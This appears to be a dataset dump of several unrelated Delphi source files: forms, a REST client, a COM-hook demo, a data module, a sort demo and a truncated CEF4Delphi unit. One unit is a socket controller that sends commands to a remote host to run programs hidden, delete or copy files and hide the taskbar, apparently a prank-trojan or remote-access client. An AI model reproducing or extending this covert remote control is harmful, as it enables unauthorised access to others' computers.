text stringlengths 14 6.51M |
|---|
unit UfmAttendanceIn;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters,
cxContainer, cxEdit, ComCtrls, dxCore, cxDateUtils, dxSkinsCore, dxSkinBlack,
dxSkinDevExpressDarkStyle, dxSkinDevExpressStyle, dxSkinMcSkin,
dxSkinMetropolis, dxSkinMetropolisDark, dxSkinSeven, dxSkinSevenClassic,
dxSkinSharp, dxSkinSharpPlus, dxSkinsDefaultPainters, dxSkinVS2010,
cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar, StdCtrls, Buttons,
ExtCtrls, dxSkinBlue, dxSkinBlueprint, dxSkinCaramel, dxSkinCoffee,
dxSkinDarkRoom, dxSkinDarkSide, dxSkinFoggy, dxSkinGlassOceans,
dxSkinHighContrast, dxSkiniMaginary, dxSkinLilian, dxSkinLiquidSky,
dxSkinLondonLiquidSky, dxSkinMoneyTwins, dxSkinOffice2007Black,
dxSkinOffice2007Blue, dxSkinOffice2007Green, dxSkinOffice2007Pink,
dxSkinOffice2007Silver, dxSkinOffice2010Black, dxSkinOffice2010Blue,
dxSkinOffice2010Silver, dxSkinOffice2013DarkGray, dxSkinOffice2013LightGray,
dxSkinOffice2013White, dxSkinPumpkin, dxSkinSilver, dxSkinSpringTime,
dxSkinStardust, dxSkinSummer2008, dxSkinTheAsphaltWorld, dxSkinValentine,
dxSkinWhiteprint, dxSkinXmas2008Blue;
type
TfmAttendanceIn = class(TForm)
Panel3: TPanel;
BitBtn2: TBitBtn;
btnSave: TBitBtn;
edtAttendTime: TEdit;
Label8: TLabel;
Label1: TLabel;
edtDate: TcxDateEdit;
btnSearch: TBitBtn;
lblName: TLabel;
lblTel: TLabel;
edtCustomerID: TEdit;
procedure btnSearchClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
fmAttendanceIn: TfmAttendanceIn;
implementation
uses uMemberSelect;
{$R *.dfm}
procedure TfmAttendanceIn.btnSearchClick(Sender: TObject);
var
mid, cname, ctel : string;
begin
fmMemberSelect := TfmMemberSelect.Create(Self);
try
fmMemberSelect.ShowModal;
if fmMemberSelect.ModalResult = mrOk then begin
mid := fmMemberSelect.gridMemberUID.EditValue;
cname := fmMemberSelect.gridMemberCNAME.EditValue;
ctel := fmMemberSelect.gridMemberCTEL.EditValue;
edtCustomerID.Text := mid;
lblName.Caption := cname;
lblTel.Caption := ctel;
end;
finally
fmMemberSelect.Free;
end;
end;
end.
|
unit UntRestClient;
interface
uses
Classes, SysUtils, uLkJSON,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;
type
TRestClient = class
private
FUsername: string;
FPassword: string;
FToken: string;
FHttp: TIdHTTP;
FHost: string;
FSigInPath: string;
procedure SetHost(value: string);
procedure SetSigInPath(value: string);
public
constructor Create; reintroduce;
destructor Destroy; override;
public
property Username: string read FUsername write FUsername;
property Password: string read FPassword write FPassword;
property Host: string read FHost write SetHost;
property SigInPath: string read FSigInPath write SetSigInPath;
private
function FormatUrl(APath: string): string;
procedure FormatHeaders;
public
function Post(APath: string; AParams: TStringList): TStringStream;
function Get(APath: string): TStringStream;
function SigIn: boolean;
function IsLogged: boolean;
end;
ERestClientException = class(Exception);
implementation
uses
StrUtils, Dialogs;
{ TRestClient }
constructor TRestClient.Create;
begin
inherited;
FHttp := TIdHTTP.Create(nil);
end;
destructor TRestClient.Destroy;
begin
if FHttp.Connected then
FHttp.Disconnect;
FHttp.Free;
inherited;
end;
procedure TRestClient.SetHost(value: string);
var
protocol: string;
begin
while LeftStr(value, 1) = '/' do
Delete(value, 1, 1);
protocol := LowerCase(LeftStr(value, 8));
if (LeftStr(protocol, 7) <> 'http://') and (protocol <> 'https://') then
value := 'http://' + value;
if RightStr(value, 1) <> '/' then
value := value + '/';
FHost := value;
end;
procedure TRestClient.SetSigInPath(value: string);
begin
while LeftStr(value, 1) = '/' do
Delete(value, 1, 1);
FSigInPath := value;
end;
function TRestClient.FormatUrl(APath: string): string;
begin
while LeftStr(APath, 1) = '/' do
Delete(APath, 1, 1);
result := FHost + APath;
end;
procedure TRestClient.FormatHeaders;
begin
if Trim(FToken) <> '' then
FHttp.Request.ExtraHeaders.Values['Authentication'] := 'bearer ' + FToken;
FHttp.Request.ExtraHeaders.Values['Cache-Control'] := 'no-cache';
FHttp.Request.ExtraHeaders.Values['Pragma'] := 'no-cache';
FHttp.Request.ExtraHeaders.Values['Connection'] := 'keep-alive';
FHttp.Request.ExtraHeaders.Values['Content-Type'] := 'application/x-www-form-urlencoded';
//FHttp.Request.ExtraHeaders.Values['Content-Type'] := 'text/html; charset=utf-8';
//FHttp.Request.ExtraHeaders.Values['Content-Type'] := 'text/html; charset=utf-8; application/x-www-form-urlencoded';
FHttp.Request.ExtraHeaders.Values['Accept-Language'] := 'pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4';
FHttp.Request.ExtraHeaders.Values['Date'] := 'Mon, 29 Apr 2018 21:44:55 GMT';
//FHttp.Request.ExtraHeaders.Values['User-Agent'] := 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36';
Fhttp.HandleRedirects := True;
end;
function TRestClient.Post(APath: string; AParams: TStringList): TStringStream;
var
url: string;
begin
url := FormatUrl(APath);
result := TStringStream.Create('');
try
FormatHeaders;
FHttp.Post(url, AParams, result);
except
on e: Exception do
begin
result.Free;
result := nil;
raise Exception.Create(e.Message);
end;
end;
end;
function TRestClient.Get(APath: string): TStringStream;
var
url: string;
begin
url := FormatUrl(APath);
result := TStringStream.Create('');
try
FormatHeaders;
FHttp.Get(url, result);
except
on e: Exception do
begin
result.Free;
end;
end;
end;
function TRestClient.SigIn: boolean;
var
params: TStringList;
response: TStringStream;
json: TlkJSONobject;
field: TlkJSONbase;
begin
result := false;
if Trim(FHost) = '' then
raise ERestClientException.Create('Informe a Url da API REST!');
if Trim(FSigInPath) = '' then
raise ERestClientException.Create('Informe a rota para o Login!');
if Trim(FUsername) = '' then
raise ERestClientException.Create('Informe o username!');
if Trim(FPassword) = '' then
raise ERestClientException.Create('Informe a senha do usuário!');
params := TStringList.Create;
try
params.Values['grant_type'] := 'password';
params.Values['username'] := FUsername;
params.Values['password'] := FPassword;
try
response := Post(FSigInPath, params);
response.Position := 0;
json := TlkJSON.ParseText(response.DataString) as TlkJSONobject;
try
field := json.Field['access_token'];
if field <> nil then
begin
FToken := field.Value;
result := Trim(FToken) <> '';
end;
finally
response.Free;
json.Free;
end;
except
on e: Exception do
begin
ShowMessage('Falha ao efetuar o login!');
end;
end;
finally
params.Free;
end;
end;
function TRestClient.IsLogged: boolean;
begin
Result := Trim(FToken) <> '';
end;
end.
|
unit uMain;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, DDetours;
type
TMain = class(TForm)
BtnOpenDialog: TButton;
MemLog: TMemo;
BtnEnableHook: TButton;
BtnDisableHook: TButton;
procedure BtnOpenDialogClick(Sender: TObject);
procedure BtnEnableHookClick(Sender: TObject);
procedure BtnDisableHookClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Main: TMain;
implementation
uses ShlObj, ComObj;
{$R *.dfm}
var
Trampoline_FileOpenDialog_Show: function(const Self; hwndParent: HWND): HRESULT; stdcall;
Trampoline_FileOpenDialog_SetTitle: function(const Self; pszTitle: LPCWSTR): HRESULT; stdcall;
function FileOpenDialog_SetTitle_Hook(const Self; pszTitle: LPCWSTR): HRESULT; stdcall;
begin
Result := Trampoline_FileOpenDialog_SetTitle(Self, 'Hooked');
end;
function FileOpenDialog_Show_Hook(const Self; hwndParent: HWND): HRESULT; stdcall;
begin
Main.MemLog.Lines.Add('Execution FileOpenDialog.Show ..');
Result := Trampoline_FileOpenDialog_Show(Self, hwndParent);
end;
var
FileOpenDialog: IFileOpenDialog;
procedure TMain.BtnOpenDialogClick(Sender: TObject);
begin
MemLog.Clear;
FileOpenDialog.SetTitle('Open..');
FileOpenDialog.Show(Handle);
end;
procedure TMain.BtnEnableHookClick(Sender: TObject);
begin
if not Assigned(Trampoline_FileOpenDialog_Show) then
@Trampoline_FileOpenDialog_Show := InterceptCreate(FileOpenDialog, 3, @FileOpenDialog_Show_Hook);
Trampoline_FileOpenDialog_SetTitle := InterceptCreate(FileOpenDialog, 17, @FileOpenDialog_SetTitle_Hook);
end;
procedure TMain.BtnDisableHookClick(Sender: TObject);
begin
if Assigned(Trampoline_FileOpenDialog_Show) then
begin
InterceptRemove(@Trampoline_FileOpenDialog_Show);
Trampoline_FileOpenDialog_Show := nil;
end;
InterceptRemove(@Trampoline_FileOpenDialog_SetTitle)
end;
initialization
FileOpenDialog := CreateComObject(CLSID_FileOpenDialog) as IFileOpenDialog;
end.
|
unit uEducationDataModule;
interface
uses
SysUtils, Classes, DB, FIBDataSet, pFIBDataSet, FIBDatabase, pFIBDatabase,
FIBQuery, pFIBQuery, Dialogs;
type
TdmEducation = class(TDataModule)
DB: TpFIBDatabase;
DefaultTransaction: TpFIBTransaction;
ReadTransaction: TpFIBTransaction;
EducationSelect: TpFIBDataSet;
EducationSource: TDataSource;
DeleteQuery: TpFIBQuery;
EducationSelectID_EDUC_KEY: TFIBIntegerField;
EducationSelectNAME_SHORT: TFIBStringField;
EducationSelectNAME_EDUC: TFIBStringField;
EducationSelectDATE_BEG: TFIBDateField;
EducationSelectDATE_END: TFIBDateField;
EducationSelectAKREDITATION: TFIBIntegerField;
EducationSelectNAME_SPEC: TFIBStringField;
EducationSelectNAME_KVAL: TFIBStringField;
EducationSelectDIPLOM_NUMBER: TFIBStringField;
EducationSelectDIPLOM_DATE: TFIBDateField;
DetailsQuery: TpFIBDataSet;
DetailsQueryID_EDUC_KEY: TFIBIntegerField;
DetailsQueryID_ORG: TFIBIntegerField;
DetailsQueryDATE_BEG: TFIBDateField;
DetailsQueryDATE_END: TFIBDateField;
DetailsQueryID_SPEC: TFIBIntegerField;
DetailsQueryID_KVAL: TFIBIntegerField;
DetailsQueryID_EDUC: TFIBIntegerField;
DetailsQueryDIPLOM_NUMBER: TFIBStringField;
DetailsQueryDIPLOM_DATE: TFIBDateField;
DetailsQueryAKREDITATION: TFIBIntegerField;
DetailsQueryID_THEME: TFIBIntegerField;
DetailsQueryID_ORDER: TFIBIntegerField;
DetailsQueryNUM_ITEM: TFIBIntegerField;
DetailsQueryIS_LEARNING: TFIBIntegerField;
DetailsQueryIS_FSHR: TFIBStringField;
pFIBDS_IsShow: TpFIBDataSet;
pFIBDS_OldEduc: TpFIBDataSet;
EducationSelectNAME_ORG_FULL: TFIBStringField;
private
{ Private declarations }
public
procedure GetText(Sender: TField; var Text:String; DisplayText:Boolean);
{ Public declarations }
end;
var
dmEducation: TdmEducation;
procedure ShowInfo(DataSet: TDataSet);
implementation
{$R *.dfm}
procedure TdmEducation.GetText(Sender: TField; var Text:String; DisplayText:Boolean);
begin
end;
procedure ShowInfo(DataSet: TDataSet);
var text: string;
i:integer;
begin
text:='';
for i:=1 to DataSet.Fields.Count do
text:=text+DataSet.Fields[i-1].FieldName+' : '+DataSet.Fields[i-1].DisplayText+#13;
ShowMessage(text);
end;
end.
|
unit DPM.Core.Package.Icon;
interface
uses
System.Classes,
DPM.Core.Package.Interfaces;
function CreatePackageIcon(const iconKind : TPackageIconKind; const stream : TStream) : IPackageIcon;
implementation
type
TPackageIcon = class(TInterfacedObject, IPackageIcon)
private
FKind : TPackageIconKind;
FStream : TStream;
protected
function GetKind : TPackageIconKind;
function GetStream : TStream;
procedure SetStream(const value : TStream);
public
constructor Create(const iconKind : TPackageIconKind; const stream : TStream);
destructor Destroy; override;
end;
function CreatePackageIcon(const iconKind : TPackageIconKind; const stream : TStream) : IPackageIcon;
begin
result := TPackageIcon.Create(iconKind, stream);
end;
{ TPackageIcon }
constructor TPackageIcon.Create(const iconKind : TPackageIconKind; const stream : TStream);
begin
FKind := iconKind;
FStream := stream;
FStream.Position := 0;
end;
destructor TPackageIcon.Destroy;
begin
if FStream <> nil then
FStream.Free;
inherited;
end;
function TPackageIcon.GetKind : TPackageIconKind;
begin
result := FKind;
end;
function TPackageIcon.GetStream : TStream;
begin
result := FStream;
end;
procedure TPackageIcon.SetStream(const value : TStream);
begin
FStream := value;
end;
end.
|
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls, jpeg;
CONST MSG_PADRAO = 'O primeiro parâmetro deve ser preenchido com o nome do arquivo!';
type
TForm1 = class(TForm)
ServerSocket: TServerSocket;
ClientSocket: TClientSocket;
Image1: TImage;
Memo1: TMemo;
Panel2: TPanel;
SpeedButton6: TSpeedButton;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
btnDel: TSpeedButton;
btnList: TSpeedButton;
btnExec: TSpeedButton;
Label1: TLabel;
Label2: TLabel;
btnCop: TSpeedButton;
btnVisu: TSpeedButton;
Edtparam1: TEdit;
Edtparam2: TEdit;
TabSheet2: TTabSheet;
SpeedButton5: TSpeedButton;
SpeedButton7: TSpeedButton;
SpeedButton8: TSpeedButton;
Edit1: TEdit;
SpeedButton1: TSpeedButton;
SpeedButton4: TSpeedButton;
SpeedButton2: TSpeedButton;
Bevel1: TBevel;
chkExec: TCheckBox;
procedure Exit1Click(Sender: TObject);
procedure ServerSocketError(Sender: TObject; Number: Smallint;
var Description: string; Scode: Integer; const Source,
HelpFile: string; HelpContext: Integer; var CancelDisplay: Wordbool);
procedure SpeedButton1Click(Sender: TObject);
procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocketAccept(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton4Click(Sender: TObject);
procedure ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SpeedButton5Click(Sender: TObject);
procedure ServerSocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure SpeedButton6Click(Sender: TObject);
procedure SpeedButton7Click(Sender: TObject);
procedure SpeedButton8Click(Sender: TObject);
procedure btnListClick(Sender: TObject);
procedure btnVisuClick(Sender: TObject);
procedure btnExecClick(Sender: TObject);
procedure btnCopClick(Sender: TObject);
procedure btnDelClick(Sender: TObject);
protected
IsServer: Boolean;
private
procedure SendCommand(Cmd, Desc:string);
function Verifica1(msg:string):Boolean;
function Verifica2(msg:string):Boolean;
end;
var
Form1: TForm1;
Server: String;
Conectado: Boolean;
implementation
{$R *.DFM}
function TForm1.Verifica1(msg:string):Boolean;
begin
if Trim(Edtparam1.Text) = '' then begin
ShowMessage(msg);
Result := False;
end
else
Result := True;
end;
function TForm1.Verifica2(msg:string):Boolean;
begin
if Trim(Edtparam2.Text) = '' then begin
ShowMessage(msg);
Result := False;
end
else
Result := True;
end;
procedure TForm1.Exit1Click(Sender: TObject);
begin
ServerSocket.Close;
ClientSocket.Close;
Close;
end;
procedure TForm1.SendCommand(Cmd, Desc:string);
begin
if ClientSocket.Active then begin
ClientSocket.Socket.SendText(Cmd);
Memo1.Lines.Add(Desc);
end
else
Memo1.Lines.Add('Desconectado...');
end;
procedure TForm1.ServerSocketError(Sender: TObject; Number: Smallint;
var Description: string; Scode: Integer; const Source, HelpFile: string;
HelpContext: Integer; var CancelDisplay: Wordbool);
begin
ShowMessage(Description);
end;
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
If SpeedButton1.Caption = 'Desconectar' then begin
ClientSocket.Close;
Conectado:=False;
SpeedButton1.Caption:= 'Conectar';
end
else begin
if InputQuery('Conectar:', 'Endereço:', Server) then begin
ServerSocket.Active := True;
if Length(Server) > 0 then
with ClientSocket do begin
Host := Server;
Active := True;
end;
SpeedButton1.Caption:='Desconectar';
Conectado:=True;
end;
end;
end;
procedure TForm1.ClientSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo1.Lines.Add(Socket.ReceiveText);
end;
procedure TForm1.ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo1.Lines.Add(Socket.ReceiveText);
end;
procedure TForm1.ServerSocketAccept(Sender: TObject;
Socket: TCustomWinSocket);
begin
IsServer := True;
Memo1.Lines.Add('Conectado a '+ Socket.RemoteAddress + '!!!');
end;
procedure TForm1.ClientSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
SpeedButton1.Caption:='Conectar';
Memo1.Lines.Add('Desconectado');
end;
procedure TForm1.ClientSocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Memo1.Lines.Add('Erro ao Conectar em : ' + Server);
SpeedButton1.Caption:='Conectar';
ErrorCode := 0;
end;
procedure TForm1.ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ClientSocket.Close;
SpeedButton1.Caption:='Conectar';
Conectado:=False;
end;
procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
ServerSocket.Close;
ClientSocket.Close;
Application.terminate;
end;
procedure TForm1.SpeedButton4Click(Sender: TObject);
begin
SendCommand('/pin...', 'Ping?');
end;
procedure TForm1.ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
SpeedButton1.Caption:= 'Desconectar';
end;
procedure TForm1.SpeedButton5Click(Sender: TObject);
begin
SendCommand('/msg&'+Edit1.Text, 'Mensagem: '+Edit1.text);
end;
procedure TForm1.ServerSocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ClientSocket.Close;
SpeedButton1.Caption:='Conectar';
Conectado:=False;
end;
procedure TForm1.SpeedButton6Click(Sender: TObject);
begin
Memo1.Clear;
Memo1.Lines.Add('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
Memo1.Lines.Add('*************************** Mastro ****************************');
Memo1.Lines.Add('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
end;
procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
if Conectado = true then begin
If SpeedButton7.Caption = 'Ocultar TaskBar' then begin
SendCommand('/tsk&hide', 'Ocultando a barra de tarefas');
SpeedButton7.Caption := 'Exibir TaskBar'
end
else begin
SendCommand('/tsk&show', 'Exibir a barra de tarefas');
SpeedButton7.Caption := 'Ocultar TaskBar';
end;
end;
end;
procedure TForm1.SpeedButton8Click(Sender: TObject);
begin
if Conectado = true then begin
If SpeedButton7.Caption = 'Ocultar Iniciar' then begin
SendCommand('/btn&hide', 'Ocultando botão Iniciar');
SpeedButton7.Caption := 'Exibir Iniciar'
end
else begin
SendCommand('/btn&show', 'Exibir botão Iniciar');
SpeedButton7.Caption := 'Ocultar Iniciar';
end;
end;
end;
procedure TForm1.btnListClick(Sender: TObject);
begin
If Verifica1(MSG_PADRAO) then SendCommand('/lis&'+Edtparam1.Text, 'Listar:'+Edtparam1.Text);
end;
procedure TForm1.btnVisuClick(Sender: TObject);
begin
If Verifica1(MSG_PADRAO) then SendCommand('/cat&'+Edtparam1.Text, 'Ver arquivo:'+Edtparam1.Text);
end;
procedure TForm1.btnDelClick(Sender: TObject);
begin
If Verifica1(MSG_PADRAO) then
if MessageDlg(' Apagar ' + Edtparam1.Text + '?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then
SendCommand('/del&'+Edtparam1.Text, ' Excluindo: '+Edtparam1.Text);
end;
procedure TForm1.btnExecClick(Sender: TObject);
var
sTipo:string;
begin
// Tipo de Execução
// E - Escondido
// M - Maximizado
if chkExec.Checked then
sTipo:='E'
else
sTipo:='M';
If Verifica1(MSG_PADRAO) then SendCommand('/exe&'+sTipo+'&'+Edtparam1.Text+'&'+Edtparam2.Text, 'Executa:'+Edtparam1.Text+' '+Edtparam2.Text);
end;
procedure TForm1.btnCopClick(Sender: TObject);
begin
If ( Verifica1(MSG_PADRAO) and Verifica2('O segundo parâmetro deve ser preenchido com o nome do arquivo de destino!') ) then
SendCommand('/cop&'+Edtparam1.Text+'&'+Edtparam2.Text, 'Copiando de '+Edtparam1.Text+' para '+ Edtparam2.Text);
end;
end.
|
program Bubble;
const Max = 20;
var numbers : array[1..Max] of integer;
(* Randomize digits in the array *)
procedure Randomize;
var i : integer;
begin
for i := 1 to Max do
numbers[i] := Random(100);
end;
(* Swap two values in the array *)
procedure Swap(x, y : integer);
begin
numbers[x] := numbers[x] xor numbers[y];
numbers[y] := numbers[x] xor numbers[y];
numbers[x] := numbers[x] xor numbers[y];
end;
(* Sort Procedure *)
procedure Sort;
var i, j : integer;
begin
for i := 1 to Max - 1 do begin
for j := i + 1 to Max do begin
if numbers[i] > numbers[j] then
Swap(i, j);
end;
end;
end;
(* Print array *)
procedure Print;
var i : integer;
begin
for i := 1 to Max do begin
Write(numbers[i]);
Write(' ');
end;
Writeln;
end;
(* Main program starts here *)
begin
WriteLn('*** Bubble Sort ***');
Randomize;
WriteLn(' Before Sort ');
Print;
Sort;
WriteLn(' After Sort ');
Print;
WriteLn('*** End of Bubble Sort ***');
end.
|
// ************************************************************************
// ***************************** CEF4Delphi *******************************
// ************************************************************************
//
// CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based
// browser in Delphi applications.
//
// The original license of DCEF3 still applies to CEF4Delphi.
//
// For more information about CEF4Delphi visit :
// https://www.briskbard.com/index.php?lang=en&pageid=cef
//
// Copyright © 2017 Salvador Díaz Fau. All rights reserved.
//
// ************************************************************************
// ************ vvvv Original license and comments below vvvv *************
// ************************************************************************
(*
* Delphi Chromium Embedded 3
*
* Usage allowed under the restrictions of the Lesser GNU General Public License
* or alternatively the restrictions of the Mozilla Public License 1.1
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
* the specific language governing rights and limitations under the License.
*
* Unit owner : Henri Gourvest <hgourvest@gmail.com>
* Web site : http://www.progdigy.com
* Repository : http://code.google.com/p/delphichromiumembedded/
* Group : http://groups.google.com/group/delphichromiumembedded
*
* Embarcadero Technologies, Inc is not permitted to use or redistribute
* this source code without explicit permission.
*
*)
unit uCEFv8Handler;
{$IFNDEF CPUX64}
{$ALIGN ON}
{$MINENUMSIZE 4}
{$ENDIF}
{$I cef.inc}
interface
uses
{$IFDEF DELPHI16_UP}
System.Rtti, System.TypInfo, System.Variants, System.SysUtils,
System.Classes, System.Math, System.SyncObjs, WinApi.Windows,
{$ELSE}
{$IFDEF DELPHI14_UP}
Rtti,
{$ENDIF}
TypInfo, Variants, SysUtils, Classes, Math, SyncObjs, Windows,
{$ENDIF}
uCEFBaseRefCounted, uCEFInterfaces, uCEFTypes;
type
TCefv8HandlerRef = class(TCefBaseRefCountedRef, ICefv8Handler)
protected
function Execute(const name: ustring; const obj: ICefv8Value; const arguments: TCefv8ValueArray; var retval: ICefv8Value; var exception: ustring): Boolean;
public
class function UnWrap(data: Pointer): ICefv8Handler;
end;
TCefv8HandlerOwn = class(TCefBaseRefCountedOwn, ICefv8Handler)
protected
function Execute(const name: ustring; const obj: ICefv8Value; const arguments: TCefv8ValueArray; var retval: ICefv8Value; var exception: ustring): Boolean; virtual;
public
constructor Create; virtual;
end;
{$IFDEF DELPHI14_UP}
TCefRTTIExtension = class(TCefv8HandlerOwn)
protected
FValue: TValue;
FCtx: TRttiContext;
FSyncMainThread: Boolean;
function GetValue(pi: PTypeInfo; const v: ICefv8Value; var ret: TValue): Boolean;
function SetValue(const v: TValue; var ret: ICefv8Value): Boolean;
{$IFDEF CPUX64}
class function StrToPtr(const str: ustring): Pointer;
class function PtrToStr(p: Pointer): ustring;
{$ENDIF}
function Execute(const name: ustring; const obj: ICefv8Value; const arguments: TCefv8ValueArray; var retval: ICefv8Value; var exception: ustring): Boolean; override;
public
constructor Create(const value: TValue; SyncMainThread: Boolean = False); reintroduce;
destructor Destroy; override;
class procedure Register(const name: string; const value: TValue; SyncMainThread: Boolean = False);
end;
{$ENDIF}
implementation
uses
uCEFMiscFunctions, uCEFLibFunctions, uCEFv8Value, uCEFConstants;
function cef_v8_handler_execute(self: PCefv8Handler;
const name: PCefString; obj: PCefv8Value; argumentsCount: NativeUInt;
const arguments: PPCefV8Value; var retval: PCefV8Value;
var exception: TCefString): Integer; stdcall;
var
args: TCefv8ValueArray;
i: NativeInt;
ret: ICefv8Value;
exc: ustring;
begin
SetLength(args, argumentsCount);
for i := 0 to argumentsCount - 1 do
args[i] := TCefv8ValueRef.UnWrap(arguments[i]);
Result := -Ord(TCefv8HandlerOwn(CefGetObject(self)).Execute(
CefString(name), TCefv8ValueRef.UnWrap(obj), args, ret, exc));
retval := CefGetData(ret);
ret := nil;
exception := CefString(exc);
end;
function TCefv8HandlerRef.Execute(const name: ustring; const obj: ICefv8Value;
const arguments: TCefv8ValueArray; var retval: ICefv8Value;
var exception: ustring): Boolean;
var
args: array of PCefV8Value;
i: Integer;
ret: PCefV8Value;
exc: TCefString;
n: TCefString;
begin
SetLength(args, Length(arguments));
for i := 0 to Length(arguments) - 1 do
args[i] := CefGetData(arguments[i]);
ret := nil;
FillChar(exc, SizeOf(exc), 0);
n := CefString(name);
Result := PCefv8Handler(FData)^.execute(PCefv8Handler(FData), @n,
CefGetData(obj), Length(arguments), @args, ret, exc) <> 0;
retval := TCefv8ValueRef.UnWrap(ret);
exception := CefStringClearAndGet(exc);
end;
class function TCefv8HandlerRef.UnWrap(data: Pointer): ICefv8Handler;
begin
if data <> nil then
Result := Create(data) as ICefv8Handler else
Result := nil;
end;
// TCefv8HandlerOwn
constructor TCefv8HandlerOwn.Create;
begin
inherited CreateData(SizeOf(TCefv8Handler));
with PCefv8Handler(FData)^ do execute := cef_v8_handler_execute;
end;
function TCefv8HandlerOwn.Execute(const name: ustring; const obj: ICefv8Value; const arguments: TCefv8ValueArray; var retval: ICefv8Value; var exception: ustring): Boolean;
begin
Result := False;
end;
{$IFDEF DELPHI14_UP}
// TCefRTTIExtension
constructor TCefRTTIExtension.Create(const value: TValue; SyncMainThread: Boolean);
begin
inherited Create;
FCtx := TRttiContext.Create;
FSyncMainThread := SyncMainThread;
FValue := value;
end;
destructor TCefRTTIExtension.Destroy;
begin
FCtx.Free;
inherited Destroy;
end;
function TCefRTTIExtension.GetValue(pi: PTypeInfo; const v: ICefv8Value; var ret: TValue): Boolean;
function ProcessInt: Boolean;
var
sv: record
case byte of
0: (ub: Byte);
1: (sb: ShortInt);
2: (uw: Word);
3: (sw: SmallInt);
4: (si: Integer);
5: (ui: Cardinal);
end;
pd: PTypeData;
begin
pd := GetTypeData(pi);
if (v.IsInt or v.IsBool) and (v.GetIntValue >= pd.MinValue) and (v.GetIntValue <= pd.MaxValue) then
begin
case pd.OrdType of
otSByte: sv.sb := v.GetIntValue;
otUByte: sv.ub := v.GetIntValue;
otSWord: sv.sw := v.GetIntValue;
otUWord: sv.uw := v.GetIntValue;
otSLong: sv.si := v.GetIntValue;
otULong: sv.ui := v.GetIntValue;
end;
TValue.Make(@sv, pi, ret);
end else
Exit(False);
Result := True;
end;
function ProcessInt64: Boolean;
var
i: Int64;
begin
i := StrToInt64(v.GetStringValue); // hack
TValue.Make(@i, pi, ret);
Result := True;
end;
function ProcessUString: Boolean;
var
vus: string;
begin
if v.IsString then
begin
vus := v.GetStringValue;
TValue.Make(@vus, pi, ret);
end else
Exit(False);
Result := True;
end;
function ProcessLString: Boolean;
var
vas: AnsiString;
begin
if v.IsString then
begin
vas := AnsiString(v.GetStringValue);
TValue.Make(@vas, pi, ret);
end else
Exit(False);
Result := True;
end;
function ProcessWString: Boolean;
var
vws: WideString;
begin
if v.IsString then
begin
vws := v.GetStringValue;
TValue.Make(@vws, pi, ret);
end else
Exit(False);
Result := True;
end;
function ProcessFloat: Boolean;
var
sv: record
case byte of
0: (fs: Single);
1: (fd: Double);
2: (fe: Extended);
3: (fc: Comp);
4: (fcu: Currency);
end;
begin
if v.IsDouble or v.IsInt then
begin
case GetTypeData(pi).FloatType of
ftSingle: sv.fs := v.GetDoubleValue;
ftDouble: sv.fd := v.GetDoubleValue;
ftExtended: sv.fe := v.GetDoubleValue;
ftComp: sv.fc := v.GetDoubleValue;
ftCurr: sv.fcu := v.GetDoubleValue;
end;
TValue.Make(@sv, pi, ret);
end else
if v.IsDate then
begin
sv.fd := v.GetDateValue;
TValue.Make(@sv, pi, ret);
end else
Exit(False);
Result := True;
end;
function ProcessSet: Boolean;
var
sv: record
case byte of
0: (ub: Byte);
1: (sb: ShortInt);
2: (uw: Word);
3: (sw: SmallInt);
4: (si: Integer);
5: (ui: Cardinal);
end;
begin
if v.IsInt then
begin
case GetTypeData(pi).OrdType of
otSByte: sv.sb := v.GetIntValue;
otUByte: sv.ub := v.GetIntValue;
otSWord: sv.sw := v.GetIntValue;
otUWord: sv.uw := v.GetIntValue;
otSLong: sv.si := v.GetIntValue;
otULong: sv.ui := v.GetIntValue;
end;
TValue.Make(@sv, pi, ret);
end else
Exit(False);
Result := True;
end;
function ProcessVariant: Boolean;
var
vr: Variant;
i: Integer;
vl: TValue;
begin
VarClear(vr);
